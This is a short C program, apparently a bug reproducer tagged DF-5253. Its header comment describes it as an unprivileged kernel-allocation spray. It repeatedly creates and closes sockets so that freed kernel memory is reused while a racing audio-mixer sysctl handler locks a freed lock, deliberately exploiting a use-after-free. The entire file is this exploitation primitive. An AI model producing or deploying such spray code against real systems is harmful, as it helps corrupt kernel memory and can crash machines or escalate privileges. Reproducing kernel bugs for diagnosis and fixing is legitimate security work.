/*
 * DF-5253 kernel-allocation spray - unprivileged.
 *
 * Churns kernel allocations in the ~32-64 byte kmalloc zone (socket create/
 * close) so that a just-freed struct lock (snd_mtxfree of the mixer lock)
 * gets its memory reused with non-lock data while a racing
 * uaudio_mixer_sysctl_handler is about to lockmgr() it.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>

int
main(void)
{
	unsigned long n = 0;
	for (;;) {
		int s = socket(AF_UNIX, SOCK_STREAM, 0);
		if (s >= 0)
			close(s);
		s = socket(AF_INET, SOCK_DGRAM, 0);
		if (s >= 0)
			close(s);
		n++;
		if ((n & 0xFFFFFFF) == 0) {
			FILE *f = fopen("/tmp/spray.count", "w");
			if (f) { fprintf(f, "%lu\n", n); fclose(f); }
		}
	}
}
